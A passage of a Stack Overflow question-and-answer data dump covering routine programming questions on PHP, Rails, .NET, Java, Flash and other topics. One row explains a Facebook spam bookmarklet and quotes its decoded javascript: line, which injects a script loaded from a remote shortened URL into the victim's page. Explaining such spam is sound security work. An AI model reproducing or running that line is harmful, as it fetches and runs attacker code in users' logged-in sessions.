"ruby-on-rails",
"ruby",
"model-view-controller",
"routes"
] | 1 | 0 | 109 | 1 | 0 | 2011-06-05T20:31:48.617000 | 2011-06-05T21:11:11.983000 |
6,245,676 | 6,245,697 | extra space being added in array output | I'm trying to create a custom function to take a array and add comma. Like for a location or list of items. function arraylist($params) { $paramlist = reset($params); while($item = next($params)) { $paramlist = $item. ', '. $paramlist; } return $paramlist; }
$location = array('San Francisco','California','United State... | This is a duplicate of the function implode already present in PHP, is there a reason you do this by hand? echo implode(', ', array('San Francisco','California','United States')); The above does the same as your arraylist -function. Small update: I noticed you append your 'next item' to the beginning of your string ( $... | extra space being added in array output I'm trying to create a custom function to take a array and add comma. Like for a location or list of items. function arraylist($params) { $paramlist = reset($params); while($item = next($params)) { $paramlist = $item. ', '. $paramlist; } return $paramlist; }
$location = array('S... | TITLE:
extra space being added in array output
QUESTION:
I'm trying to create a custom function to take a array and add comma. Like for a location or list of items. function arraylist($params) { $paramlist = reset($params); while($item = next($params)) { $paramlist = $item. ', '. $paramlist; } return $paramlist; }
$l... | [
"php"
] | 0 | 4 | 193 | 3 | 0 | 2011-06-05T20:32:33.333000 | 2011-06-05T20:35:36.950000 |
6,245,705 | 6,245,757 | Get top level class name when inheritance and class alias is used | I have some classes extended this way: class Baseresidence extends CActiveRecord { public static function model($className=__CLASS__) { return parent::model($className); // framework needs, can't modify } }
class Site1Residence extends Baseresidence {
} and finally class_alias('Site1Residence', 'Residence'); // this ... | Try get_called_class(); See http://php.net/manual/en/function.get-called-class.php From the docs: class foo { static public function test() { var_dump(get_called_class()); } }
class bar extends foo { }
foo::test(); bar::test(); The above example will output: string(3) "foo" string(3) "bar" | Get top level class name when inheritance and class alias is used I have some classes extended this way: class Baseresidence extends CActiveRecord { public static function model($className=__CLASS__) { return parent::model($className); // framework needs, can't modify } }
class Site1Residence extends Baseresidence {
... | TITLE:
Get top level class name when inheritance and class alias is used
QUESTION:
I have some classes extended this way: class Baseresidence extends CActiveRecord { public static function model($className=__CLASS__) { return parent::model($className); // framework needs, can't modify } }
class Site1Residence extends... | [
"php",
"oop",
"class"
] | 1 | 3 | 2,218 | 1 | 0 | 2011-06-05T20:36:25.447000 | 2011-06-05T20:49:01.203000 |
6,245,714 | 6,245,753 | Crash course in simple threading? | I am testing out the idea of threads, but only in very key spots right now. Threads add a pretty fascinating level of complexity to just about anything, but with.NET, it seems there are many choices for threads within System.Threading. I'm looking to know which is the best for handing string operations. Consider a comp... | I suggest using TPL classes like Parallel and Task. Whether your code benefits from parallel execution or not, you need to benchmark on particular machine and find out. This is the best approach to take. The same code can slow down execution on one machine, but expedite a lot on another. Basically depends on CPU (numbe... | Crash course in simple threading? I am testing out the idea of threads, but only in very key spots right now. Threads add a pretty fascinating level of complexity to just about anything, but with.NET, it seems there are many choices for threads within System.Threading. I'm looking to know which is the best for handing ... | TITLE:
Crash course in simple threading?
QUESTION:
I am testing out the idea of threads, but only in very key spots right now. Threads add a pretty fascinating level of complexity to just about anything, but with.NET, it seems there are many choices for threads within System.Threading. I'm looking to know which is the... | [
".net",
"vb.net",
"multithreading",
"parallel-processing",
"task-parallel-library"
] | 3 | 2 | 314 | 3 | 0 | 2011-06-05T20:38:36.200000 | 2011-06-05T20:48:14.907000 |
6,245,716 | 6,268,448 | heroku db:push - The MySQL server has gone away | I'm trying to push my local development database up to heroku with heroku db:push but it's not connecting. Anyone know what the problem is? http://devcenter.heroku.com/articles/taps#import_push_to_heroku $ heroku db:push --confirm spanish-day-111 Loaded Taps v0.3.23 Auto-detected local database: mysql://root@localhost/... | Ok finally figured out that I didn't have the mysql gem in my current rvm gemsite. This fixed the problem for me. env ARCHFLAGS="-arch x86_64" gem install --no-rdoc --no-ri mysql -- --with-mysql-config=/usr/local/mysql/bin/mysql_config | heroku db:push - The MySQL server has gone away I'm trying to push my local development database up to heroku with heroku db:push but it's not connecting. Anyone know what the problem is? http://devcenter.heroku.com/articles/taps#import_push_to_heroku $ heroku db:push --confirm spanish-day-111 Loaded Taps v0.3.23 Auto-... | TITLE:
heroku db:push - The MySQL server has gone away
QUESTION:
I'm trying to push my local development database up to heroku with heroku db:push but it's not connecting. Anyone know what the problem is? http://devcenter.heroku.com/articles/taps#import_push_to_heroku $ heroku db:push --confirm spanish-day-111 Loaded ... | [
"mysql",
"ruby-on-rails",
"heroku"
] | 1 | 0 | 766 | 1 | 0 | 2011-06-05T20:39:10.673000 | 2011-06-07T16:23:32.880000 |
6,245,724 | 6,247,201 | Why aren't my views appearing? | I'm following a very basic book tutorial on Mac development. We're just creating a really simple interface. All I'm trying to do is drag a label on to the view, and run it and have that label displayed. However, I'm using the newest version of Xcode, and I'm doing just that-just dragging a label on to the view, typing ... | Make sure you drag the label, buttons, etc. into a view that you're putting into a window that you're ordering in. What you're probably seeing on startup is the window in the main-menu nib. That window, by default, is empty. It will remain so until you explicitly put something into it, either in code (with addSubview: ... | Why aren't my views appearing? I'm following a very basic book tutorial on Mac development. We're just creating a really simple interface. All I'm trying to do is drag a label on to the view, and run it and have that label displayed. However, I'm using the newest version of Xcode, and I'm doing just that-just dragging ... | TITLE:
Why aren't my views appearing?
QUESTION:
I'm following a very basic book tutorial on Mac development. We're just creating a really simple interface. All I'm trying to do is drag a label on to the view, and run it and have that label displayed. However, I'm using the newest version of Xcode, and I'm doing just t... | [
"cocoa",
"macos",
"interface-builder",
"xcode4"
] | 2 | 3 | 422 | 1 | 0 | 2011-06-05T20:40:35.680000 | 2011-06-06T01:57:30.457000 |
6,245,725 | 6,245,854 | How do I group a set of shapes programmatically in excel 2007 vba? | I am iterating over data on the Electrical Tables sheet and creating shapes on a Shape sheet. Once the shapes are created I would like to programmatically group them. However I can't figure out the right syntax. The shapes are there, selected, and if I click the group button, they group perfectly. However with the foll... | This worked for me in Excel 2010: Sub GroupShapes()
Sheet1.Shapes.SelectAll Selection.Group
End Sub I had two shapes on sheet 1 which were ungrouped before calling the method above, and grouped after. Edit To select specific shapes using indexes: Sheet1.Shapes.Range(Array(1, 2, 3)).Select Using names: Sheet1.Shapes.R... | How do I group a set of shapes programmatically in excel 2007 vba? I am iterating over data on the Electrical Tables sheet and creating shapes on a Shape sheet. Once the shapes are created I would like to programmatically group them. However I can't figure out the right syntax. The shapes are there, selected, and if I ... | TITLE:
How do I group a set of shapes programmatically in excel 2007 vba?
QUESTION:
I am iterating over data on the Electrical Tables sheet and creating shapes on a Shape sheet. Once the shapes are created I would like to programmatically group them. However I can't figure out the right syntax. The shapes are there, s... | [
"excel",
"vba",
"shapes"
] | 6 | 7 | 47,806 | 5 | 0 | 2011-06-05T20:40:40.907000 | 2011-06-05T21:04:11.787000 |
6,245,729 | 6,245,732 | Use PHP's file_get_contents with a file on users local system? | Is there a way to use PHP's file_get_contents() function on a file that a user is trying to upload from their computer through the browser with a form? | Directly - no. This is not how PHP works - it runs entirely on server side. After uploading - definitely! You can load the file using the tmpfile element in the $_FILES array. See Handling File Uploads for more info. | Use PHP's file_get_contents with a file on users local system? Is there a way to use PHP's file_get_contents() function on a file that a user is trying to upload from their computer through the browser with a form? | TITLE:
Use PHP's file_get_contents with a file on users local system?
QUESTION:
Is there a way to use PHP's file_get_contents() function on a file that a user is trying to upload from their computer through the browser with a form?
ANSWER:
Directly - no. This is not how PHP works - it runs entirely on server side. Af... | [
"php",
"file-upload"
] | 0 | 7 | 657 | 2 | 0 | 2011-06-05T20:41:50.440000 | 2011-06-05T20:43:06.093000 |
6,245,733 | 6,245,782 | How to make this code DRY? | I'm writing RESTful service with C#/wcf and need to put filters on GET. Like how many records to return, maybe if I want to filter by something, etc. Consider this code: [WebGet(UriTemplate = "/devices/{DeviceId}/positions")] public List GetDevicePositions(string deviceId) { //Lookup device: using (var context = new Mo... | QA Hint: context.Devices.Where(aa => aa.DeviceId == deviceId).FirstOrDefault(); can be shorten to context.Devices.Find(deviceId); QA Hint: from p in context.Positions... you may want to create a view on your table and instead of... select new GPSPosition {... } you would simply write regular context.PositionViews.Where... | How to make this code DRY? I'm writing RESTful service with C#/wcf and need to put filters on GET. Like how many records to return, maybe if I want to filter by something, etc. Consider this code: [WebGet(UriTemplate = "/devices/{DeviceId}/positions")] public List GetDevicePositions(string deviceId) { //Lookup device: ... | TITLE:
How to make this code DRY?
QUESTION:
I'm writing RESTful service with C#/wcf and need to put filters on GET. Like how many records to return, maybe if I want to filter by something, etc. Consider this code: [WebGet(UriTemplate = "/devices/{DeviceId}/positions")] public List GetDevicePositions(string deviceId) {... | [
"c#",
"wcf",
"rest"
] | 3 | 2 | 210 | 2 | 0 | 2011-06-05T20:43:05.920000 | 2011-06-05T20:52:53.397000 |
6,245,735 | 6,245,777 | Pretty-print std::tuple | This is a follow-up to my previous question on pretty-printing STL containers, for which we managed to develop a very elegant and fully general solution. In this next step, I would like to include pretty-printing for std::tuple, using variadic templates (so this is strictly C++11). For std::pair, I simply say std::ostr... | Yay, indices ~ namespace aux{ template struct seq{};
template struct gen_seq: gen_seq {};
template struct gen_seq<0, Is...>: seq {};
template void print_tuple(std::basic_ostream & os, Tuple const& t, seq ){ using swallow = int[]; (void)swallow{0, (void(os << (Is == 0? "": ", ") << std::get (t)), 0)...}; } } // aux::... | Pretty-print std::tuple This is a follow-up to my previous question on pretty-printing STL containers, for which we managed to develop a very elegant and fully general solution. In this next step, I would like to include pretty-printing for std::tuple, using variadic templates (so this is strictly C++11). For std::pair... | TITLE:
Pretty-print std::tuple
QUESTION:
This is a follow-up to my previous question on pretty-printing STL containers, for which we managed to develop a very elegant and fully general solution. In this next step, I would like to include pretty-printing for std::tuple, using variadic templates (so this is strictly C++... | [
"c++",
"c++11",
"tuples",
"variadic-templates"
] | 102 | 80 | 40,157 | 13 | 0 | 2011-06-05T20:43:20.283000 | 2011-06-05T20:52:10.433000 |
6,245,741 | 6,245,798 | What does a type name in parentheses before a variable mean? | I am having a bit of trouble understanding this piece of code. It is from a book I am reading but I feel like the guy is just telling me to type stuff without explaining it in much depth. - (IBAction)sliderChanged:(id)sender { UISlider *slider = (UISlider *)sender; //set slidervar as active slider int progressAsInt = (... | Typecasting is a method of telling the compiler that something is a different type than it is. It is involved in both parts of your question. You cast something by placing the new type in parentheses before the item you are casting. UISlider *slider = (UISlider *)sender; When the method is declared, sender has a type o... | What does a type name in parentheses before a variable mean? I am having a bit of trouble understanding this piece of code. It is from a book I am reading but I feel like the guy is just telling me to type stuff without explaining it in much depth. - (IBAction)sliderChanged:(id)sender { UISlider *slider = (UISlider *)s... | TITLE:
What does a type name in parentheses before a variable mean?
QUESTION:
I am having a bit of trouble understanding this piece of code. It is from a book I am reading but I feel like the guy is just telling me to type stuff without explaining it in much depth. - (IBAction)sliderChanged:(id)sender { UISlider *slid... | [
"objective-c",
"casting"
] | 1 | 2 | 807 | 3 | 0 | 2011-06-05T20:44:53.370000 | 2011-06-05T20:56:01.363000 |
6,245,744 | 6,245,788 | Invoking WPF Dispatcher with anonymous method | I just realized in a C#.Net 4.0 WPF background thread that this doesn't work (compiler error): Dispatcher.Invoke(DispatcherPriority.Normal, delegate() { // do stuff to UI }); From some examples I found out that it had to be casted like this: (Action)delegate(). However, in other examples it is casted to other classes, ... | Look at the signature for Dispatcher.Invoke(). It doesn't take Action or some other specific delegate type. It takes Delegate, which is the common ancestor of all delegate types. But you can't convert anonymous method to this base type directly, you can convert it only to some specific delegate type. (The same applies ... | Invoking WPF Dispatcher with anonymous method I just realized in a C#.Net 4.0 WPF background thread that this doesn't work (compiler error): Dispatcher.Invoke(DispatcherPriority.Normal, delegate() { // do stuff to UI }); From some examples I found out that it had to be casted like this: (Action)delegate(). However, in ... | TITLE:
Invoking WPF Dispatcher with anonymous method
QUESTION:
I just realized in a C#.Net 4.0 WPF background thread that this doesn't work (compiler error): Dispatcher.Invoke(DispatcherPriority.Normal, delegate() { // do stuff to UI }); From some examples I found out that it had to be casted like this: (Action)delega... | [
"c#",
".net",
"wpf",
"delegates",
"dispatcher"
] | 9 | 12 | 24,373 | 4 | 0 | 2011-06-05T20:45:04.533000 | 2011-06-05T20:54:46.380000 |
6,245,745 | 6,245,794 | Index file drastically slows page loading time | I'm trying my hardest to get this site's load time blazing fast. I've taken good steps in caching. Every static element on the page is cached so it renders immediately. My page loads in 1 second, because of the index file: How can I cut down the load time of this index file. I questioned yesterday, and the answer worke... | I did a few tests and the average load of index is 700ms for me. Are you using any server side technology? php, mysql? There are quite a lot of reasons for a site being slow. First check if creating a completely empty html page takes 700ms or something around there. If it does, then your server has some latency issues.... | Index file drastically slows page loading time I'm trying my hardest to get this site's load time blazing fast. I've taken good steps in caching. Every static element on the page is cached so it renders immediately. My page loads in 1 second, because of the index file: How can I cut down the load time of this index fil... | TITLE:
Index file drastically slows page loading time
QUESTION:
I'm trying my hardest to get this site's load time blazing fast. I've taken good steps in caching. Every static element on the page is cached so it renders immediately. My page loads in 1 second, because of the index file: How can I cut down the load time... | [
"javascript",
"html",
"css",
"optimization",
"load"
] | 0 | 2 | 276 | 3 | 0 | 2011-06-05T20:45:18.380000 | 2011-06-05T20:55:40.193000 |
6,245,747 | 6,245,816 | Unit testing chained private methods in C# | My problem is that I have public method in my class and it is calling a private method. The private method is calling another private method and so on with 4 chained private methods. I know that I should write unit tests only for public methods. In my case I will have full code coverage, because all private methods are... | You are already testing the private methods by calling the public one. You test the input and output of the public method - which relies on the private ones, hence all are being tested. Any problems that occur will result in an exception which (upon checking the stack trace) will inform you which method (private or oth... | Unit testing chained private methods in C# My problem is that I have public method in my class and it is calling a private method. The private method is calling another private method and so on with 4 chained private methods. I know that I should write unit tests only for public methods. In my case I will have full cod... | TITLE:
Unit testing chained private methods in C#
QUESTION:
My problem is that I have public method in my class and it is calling a private method. The private method is calling another private method and so on with 4 chained private methods. I know that I should write unit tests only for public methods. In my case I ... | [
"c#",
"visual-studio",
"unit-testing",
"private-members"
] | 0 | 3 | 1,481 | 3 | 0 | 2011-06-05T20:47:16.840000 | 2011-06-05T20:57:51.560000 |
6,245,749 | 6,245,839 | No content loads after Facebook iframe | I have something like this #data# #data2# I do not know what the problem is, but no other content loads after the iframe tag. #data2# nor any other new row does not load. Any ideas? | You have two opening tags instead of an opening and a closing tag:. That could be the problem. | No content loads after Facebook iframe I have something like this #data# #data2# I do not know what the problem is, but no other content loads after the iframe tag. #data2# nor any other new row does not load. Any ideas? | TITLE:
No content loads after Facebook iframe
QUESTION:
I have something like this #data# #data2# I do not know what the problem is, but no other content loads after the iframe tag. #data2# nor any other new row does not load. Any ideas?
ANSWER:
You have two opening tags instead of an opening and a closing tag:. That... | [
"html",
"facebook"
] | 1 | 2 | 319 | 2 | 0 | 2011-06-05T20:47:47.433000 | 2011-06-05T21:00:44.680000 |
6,245,755 | 6,273,768 | Improving Python/django view code | I am very new to Python/Django and programming in general. With the limited tools in my programming bag, I have written three views functions for after a user registers: it allows the user to add information and upload a thumbnail before activating his account. I have posted the code that I have written so far so that ... | I originally tried to replicate the behaviour of your signup process using django.contrib.formtools.wizard, but it was becoming far too complicated, considering there are only two steps in your process, and one of them is simply selecting an image. I would highly advise looking at a form-wizard solution if you intend t... | Improving Python/django view code I am very new to Python/Django and programming in general. With the limited tools in my programming bag, I have written three views functions for after a user registers: it allows the user to add information and upload a thumbnail before activating his account. I have posted the code t... | TITLE:
Improving Python/django view code
QUESTION:
I am very new to Python/Django and programming in general. With the limited tools in my programming bag, I have written three views functions for after a user registers: it allows the user to add information and upload a thumbnail before activating his account. I have... | [
"python",
"django"
] | 7 | 1 | 679 | 5 | 0 | 2011-06-05T20:48:23.117000 | 2011-06-08T03:07:01.623000 |
6,245,756 | 6,245,834 | Identical views in ViewFlipper with diffrent click listeners | I have got a ViewFlipper that gets populated with multiple views, that are actually the same view over and over again. Everything works fine but settings an onClickListener to a button works not like expected: flipStack = (ViewFlipper) findViewById(R.id.clubViewFlipper);
for(int i=0; i<= clubDataSet.size()-1; i++) { c... | You can use the tag: flipStack = (ViewFlipper) findViewById(R.id.clubViewFlipper);
for(int i=0; i<= clubDataSet.size()-1; i++) { clubData = clubDataSet.get(i);
LayoutInflater vi = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE); View view = vi.inflate(R.layout.detail_overlay, (ViewGroup)findViewByI... | Identical views in ViewFlipper with diffrent click listeners I have got a ViewFlipper that gets populated with multiple views, that are actually the same view over and over again. Everything works fine but settings an onClickListener to a button works not like expected: flipStack = (ViewFlipper) findViewById(R.id.clubV... | TITLE:
Identical views in ViewFlipper with diffrent click listeners
QUESTION:
I have got a ViewFlipper that gets populated with multiple views, that are actually the same view over and over again. Everything works fine but settings an onClickListener to a button works not like expected: flipStack = (ViewFlipper) findV... | [
"android"
] | 1 | 0 | 612 | 2 | 0 | 2011-06-05T20:48:43.040000 | 2011-06-05T21:00:09.290000 |
6,245,759 | 6,245,772 | Rails routing :except question | I'm trying to make a simple blog with a posts controller route to the root url rather than localhost/posts/:id. I added the following to my routes file... match '/:id',:to => 'posts#show',:as => 'post' Which worked well enough. It has since broken my search route. match 'search/:q',:to => 'posts#query',:as => 'search' ... | Rails parses your routes from the top down and stops at the first match. I would put your match '/:id'... line below all your other routes. | Rails routing :except question I'm trying to make a simple blog with a posts controller route to the root url rather than localhost/posts/:id. I added the following to my routes file... match '/:id',:to => 'posts#show',:as => 'post' Which worked well enough. It has since broken my search route. match 'search/:q',:to =>... | TITLE:
Rails routing :except question
QUESTION:
I'm trying to make a simple blog with a posts controller route to the root url rather than localhost/posts/:id. I added the following to my routes file... match '/:id',:to => 'posts#show',:as => 'post' Which worked well enough. It has since broken my search route. match ... | [
"ruby-on-rails",
"routes",
"except"
] | 2 | 6 | 1,578 | 1 | 0 | 2011-06-05T20:49:12.710000 | 2011-06-05T20:51:12.553000 |
6,245,767 | 6,245,781 | JAVA Linked List How to loop through with a for loop? | Hello I am trying to create a for loop that loops through the linked list. For each piece of data it will list it out individually. I am trying to learn linked list here, so no Array suggestions please. Anyone know how to do this? Example Output: Flight 187 Flight 501 CODE I HAVE SO FAR BELOW: public static LinkedList ... | Just use the enhanced for-loop, the same way you'd do it with an array: for(String flight: flights) { // do what you like with it } | JAVA Linked List How to loop through with a for loop? Hello I am trying to create a for loop that loops through the linked list. For each piece of data it will list it out individually. I am trying to learn linked list here, so no Array suggestions please. Anyone know how to do this? Example Output: Flight 187 Flight 5... | TITLE:
JAVA Linked List How to loop through with a for loop?
QUESTION:
Hello I am trying to create a for loop that loops through the linked list. For each piece of data it will list it out individually. I am trying to learn linked list here, so no Array suggestions please. Anyone know how to do this? Example Output: F... | [
"java",
"linked-list"
] | 3 | 16 | 43,653 | 7 | 0 | 2011-06-05T20:50:14.733000 | 2011-06-05T20:52:49.793000 |
6,245,776 | 6,245,894 | Downloadable graphics - SVG vs Canvas element? | Is there a Javascript-y way to provide a downloadable link for a Canvas element? How about SVG graphics? And what if you also include a server-side script (not preferred, but if that's the only way...)? | I have never tried this, but it occurred to me that you might be able to use a data URL to accomplish this. In theory you would use JS to generate the image pixel data needed, then insert that into the href of a link. Not sure that this will work though. Example of a data URL: | Downloadable graphics - SVG vs Canvas element? Is there a Javascript-y way to provide a downloadable link for a Canvas element? How about SVG graphics? And what if you also include a server-side script (not preferred, but if that's the only way...)? | TITLE:
Downloadable graphics - SVG vs Canvas element?
QUESTION:
Is there a Javascript-y way to provide a downloadable link for a Canvas element? How about SVG graphics? And what if you also include a server-side script (not preferred, but if that's the only way...)?
ANSWER:
I have never tried this, but it occurred to... | [
"javascript",
"graphics",
"canvas",
"svg"
] | 0 | 1 | 180 | 3 | 0 | 2011-06-05T20:52:01.193000 | 2011-06-05T21:10:19.910000 |
6,245,783 | 6,246,372 | JSON deserialize with nested list in C# | I am serializing and deserializing a Dictionary in C#. My data structure is: public class DataField { private string _Name; public string Name { get { return _Name; } set { _Name = value; } }
private string _Label; public string Label { get { return _Label; } set { _Label = value; } }
private ControlType _TypeOfContr... | I assume you are using Json.net I encouter the same problem at work, the deserialization of the lists was incomplete. This bug has been added to the issue tracker of the project. The workaround we found is to not put the list as the last var in an object. Hope this can help you while waiting for a patch. | JSON deserialize with nested list in C# I am serializing and deserializing a Dictionary in C#. My data structure is: public class DataField { private string _Name; public string Name { get { return _Name; } set { _Name = value; } }
private string _Label; public string Label { get { return _Label; } set { _Label = valu... | TITLE:
JSON deserialize with nested list in C#
QUESTION:
I am serializing and deserializing a Dictionary in C#. My data structure is: public class DataField { private string _Name; public string Name { get { return _Name; } set { _Name = value; } }
private string _Label; public string Label { get { return _Label; } s... | [
"c#",
"json",
"nested"
] | 0 | 0 | 1,118 | 1 | 0 | 2011-06-05T20:53:25.847000 | 2011-06-05T22:36:37.357000 |
6,245,784 | 6,246,143 | Profile Java application in virtual machine environment (eg vbox, vpc, vmware etc) | For last two days I am trying to profile a java application on a VM environment (dont confuse this VM with JVM). We have amazon ec2 instances running. Those are infact running vmware images. We use licensed version of Jprofiler6 to profile java application. Now the situation is, I want to profile a java app under a vir... | The VM instance is a separate computer, accessible via the normal network. You will need to set up the JVM in the guest to enable remote debugging/profiling, then specify on jprofiler startup the remote host. | Profile Java application in virtual machine environment (eg vbox, vpc, vmware etc) For last two days I am trying to profile a java application on a VM environment (dont confuse this VM with JVM). We have amazon ec2 instances running. Those are infact running vmware images. We use licensed version of Jprofiler6 to profi... | TITLE:
Profile Java application in virtual machine environment (eg vbox, vpc, vmware etc)
QUESTION:
For last two days I am trying to profile a java application on a VM environment (dont confuse this VM with JVM). We have amazon ec2 instances running. Those are infact running vmware images. We use licensed version of J... | [
"java",
"profiling",
"virtualization",
"vmware",
"jprofiler"
] | 1 | 2 | 906 | 1 | 0 | 2011-06-05T20:53:29.577000 | 2011-06-05T21:58:20.277000 |
6,245,791 | 6,246,962 | How to make a progress bar which shows file upload percentage if actionscript doesn't support threads? | Since Flash doesn't support multithread how do you that in actionscript 3? | The short answer is - by adding an event listener to do it asynchronously. The long answer is that it's quite simple - if you've done it once, you've done it a million times: var site_loader:Loader; var your_text_field:TextField;
init(); start_load();
function init():void { site_loader = new Loader(); this.addChild(s... | How to make a progress bar which shows file upload percentage if actionscript doesn't support threads? Since Flash doesn't support multithread how do you that in actionscript 3? | TITLE:
How to make a progress bar which shows file upload percentage if actionscript doesn't support threads?
QUESTION:
Since Flash doesn't support multithread how do you that in actionscript 3?
ANSWER:
The short answer is - by adding an event listener to do it asynchronously. The long answer is that it's quite simpl... | [
"flash",
"actionscript"
] | 0 | 6 | 638 | 1 | 0 | 2011-06-05T20:55:15.197000 | 2011-06-06T00:56:39.047000 |
6,245,799 | 6,245,837 | Using implicit typing | Possible Duplicate: Resharper: vars Is there a reason that resharper suggests var thing1 = 5 as opposed to int thing1 = 5? It just seems that they mean the exact same thing except that var is harder/less comprehensible to a human reader. I would be curious to know if there is a difference in the way that the compiler i... | No, the generated IL will be exactly the same. I suspect if you take up Resharper's suggestion, it will also "suggest" going the other way - IIRC the default is to always offer the ability to change in either direction. You can change what it suggests within the options though. | Using implicit typing Possible Duplicate: Resharper: vars Is there a reason that resharper suggests var thing1 = 5 as opposed to int thing1 = 5? It just seems that they mean the exact same thing except that var is harder/less comprehensible to a human reader. I would be curious to know if there is a difference in the w... | TITLE:
Using implicit typing
QUESTION:
Possible Duplicate: Resharper: vars Is there a reason that resharper suggests var thing1 = 5 as opposed to int thing1 = 5? It just seems that they mean the exact same thing except that var is harder/less comprehensible to a human reader. I would be curious to know if there is a d... | [
"c#",
"resharper",
"implicit-typing"
] | 8 | 7 | 237 | 3 | 0 | 2011-06-05T20:56:04.893000 | 2011-06-05T21:00:14.650000 |
6,245,801 | 6,245,836 | Explanation of Facebook spam code | So, I've just seen this spam code on Facebook, written in JavaScript and I wondered if someone could explain to me how the code works, and interacts with Facebook. I do not intend to use this for malicious purposes, but I am simply interested in the security of websites like Facebook. Here is the code that is executed ... | Check it here, the link is url encoded.: http://meyerweb.com/eric/tools/dencoder/ javascript: a=(b=document).createElement('script')).src='http://bit.ly/FB1337?'+Math.random(),b.body.appendChild(a);void(0) From what I see: load this url as a script and add it to the current page. Edit: The script loaded is placed at th... | Explanation of Facebook spam code So, I've just seen this spam code on Facebook, written in JavaScript and I wondered if someone could explain to me how the code works, and interacts with Facebook. I do not intend to use this for malicious purposes, but I am simply interested in the security of websites like Facebook. ... | TITLE:
Explanation of Facebook spam code
QUESTION:
So, I've just seen this spam code on Facebook, written in JavaScript and I wondered if someone could explain to me how the code works, and interacts with Facebook. I do not intend to use this for malicious purposes, but I am simply interested in the security of websit... | [
"javascript",
"security",
"facebook",
"exploit"
] | 2 | 3 | 8,543 | 1 | 0 | 2011-06-05T20:56:17.560000 | 2011-06-05T21:00:12.363000 |
6,245,809 | 6,245,926 | Generating EAN 13 code | which is the easiest way to generate EAN 13 code? I want to implement it to my xml feed. Now I have only SKU number which is 50, 51, 52, 445.. -it can be 1-5 digit. | There is a PEAR package that allows you to generate bar codes. Is this what you search for? | Generating EAN 13 code which is the easiest way to generate EAN 13 code? I want to implement it to my xml feed. Now I have only SKU number which is 50, 51, 52, 445.. -it can be 1-5 digit. | TITLE:
Generating EAN 13 code
QUESTION:
which is the easiest way to generate EAN 13 code? I want to implement it to my xml feed. Now I have only SKU number which is 50, 51, 52, 445.. -it can be 1-5 digit.
ANSWER:
There is a PEAR package that allows you to generate bar codes. Is this what you search for? | [
"php",
"barcode"
] | 0 | 0 | 3,778 | 1 | 0 | 2011-06-05T20:57:15.673000 | 2011-06-05T21:15:55.340000 |
6,245,810 | 6,245,881 | Programatically accessing HTML attributes with Javascript | I'm using a custom TimeSelector, which I place on the page in HTML as follows: In a Javascript function, I'd like to update the Date attribute. I've tried these (which don't work): var sel = document.getElementById("endTimeSelector"); sel.Date="6:30 PM"; sel.setAttribute("Date","6:30 PM"); Since this is a custom select... | to do this you must access the html control itself inside you custom control. try to get the html control then set its value with the value you want.you can do this using jquery as follows: $('#HTMLControlID').attr('attributeName','value'); or $('#HTMLControlID').prop('attributeName','value'); //jquery 1.6 | Programatically accessing HTML attributes with Javascript I'm using a custom TimeSelector, which I place on the page in HTML as follows: In a Javascript function, I'd like to update the Date attribute. I've tried these (which don't work): var sel = document.getElementById("endTimeSelector"); sel.Date="6:30 PM"; sel.set... | TITLE:
Programatically accessing HTML attributes with Javascript
QUESTION:
I'm using a custom TimeSelector, which I place on the page in HTML as follows: In a Javascript function, I'd like to update the Date attribute. I've tried these (which don't work): var sel = document.getElementById("endTimeSelector"); sel.Date=... | [
"javascript",
"html",
"time-select"
] | 1 | 0 | 438 | 2 | 0 | 2011-06-05T20:57:16.213000 | 2011-06-05T21:08:50.630000 |
6,245,813 | 6,245,857 | Is it possible to use Mysql with SqlAlchemy and Flask if my mysql socket isn't in /tmp? | The location for mysql.sock on my system is /usr/local/mysql5/mysqld.sock thrilllap-2:tmp reuven$ mysqld --print-defaults mysqld would have been started with the following arguments: --socket=/usr/local/mysql5/mysqld.sock --port=3306 When I try to use mysql via sqlalchemy from flask, I get: File "build/bdist.macosx-10.... | You'll have to dig up the exact syntax, but for MySQL I think they use a unix_socket query opt. Something like: mysql:///dbname?unix_socket=/opt/mysql/mysql.sock' Should be your connect URI for SQLAlchemy. | Is it possible to use Mysql with SqlAlchemy and Flask if my mysql socket isn't in /tmp? The location for mysql.sock on my system is /usr/local/mysql5/mysqld.sock thrilllap-2:tmp reuven$ mysqld --print-defaults mysqld would have been started with the following arguments: --socket=/usr/local/mysql5/mysqld.sock --port=330... | TITLE:
Is it possible to use Mysql with SqlAlchemy and Flask if my mysql socket isn't in /tmp?
QUESTION:
The location for mysql.sock on my system is /usr/local/mysql5/mysqld.sock thrilllap-2:tmp reuven$ mysqld --print-defaults mysqld would have been started with the following arguments: --socket=/usr/local/mysql5/mysq... | [
"python",
"sqlalchemy",
"flask"
] | 21 | 35 | 12,561 | 3 | 0 | 2011-06-05T20:57:24.280000 | 2011-06-05T21:04:22.287000 |
6,245,824 | 6,245,939 | help with stub and mock test, how to use a mock that has to return a value also? | The method I am trying to test is: def self.load_file(file) lookup = ''
if file.extension.include? "abc" lookup = file.extension else lookup = file.last_updated end
@location = Location.find_by_lookup(lookup)
@location end So I need to stub the file so it responds to extension and last_updated calls. I also need to ... | Your flow would look something like this (substitute "MyClass" with the actual name of your class): it "should lookup by last_updated for abc files" do update_time = Time.now # create a location to match this update_time here file = double("file") file.should_receive(:extension).and_return("abc") file.should_receive(:l... | help with stub and mock test, how to use a mock that has to return a value also? The method I am trying to test is: def self.load_file(file) lookup = ''
if file.extension.include? "abc" lookup = file.extension else lookup = file.last_updated end
@location = Location.find_by_lookup(lookup)
@location end So I need to ... | TITLE:
help with stub and mock test, how to use a mock that has to return a value also?
QUESTION:
The method I am trying to test is: def self.load_file(file) lookup = ''
if file.extension.include? "abc" lookup = file.extension else lookup = file.last_updated end
@location = Location.find_by_lookup(lookup)
@location... | [
"ruby",
"rspec"
] | 0 | 1 | 58 | 1 | 0 | 2011-06-05T20:58:36.007000 | 2011-06-05T21:18:47.237000 |
6,245,842 | 6,246,116 | How to make a generic nhibernate repository that works with ninject? | I am trying to make my first generic repository. I am starting with the real simple ones but I am unsure how to hook it all up to ninject and use it through constructor injection. public class NhibernateRepo: INhibernateRepo { private readonly ISession session;
public NhibernateRepo(ISession session) { this.session = ... | Try moving from interface-level to method-level. Like so: public void Delete (T instance)... | How to make a generic nhibernate repository that works with ninject? I am trying to make my first generic repository. I am starting with the real simple ones but I am unsure how to hook it all up to ninject and use it through constructor injection. public class NhibernateRepo: INhibernateRepo { private readonly ISessio... | TITLE:
How to make a generic nhibernate repository that works with ninject?
QUESTION:
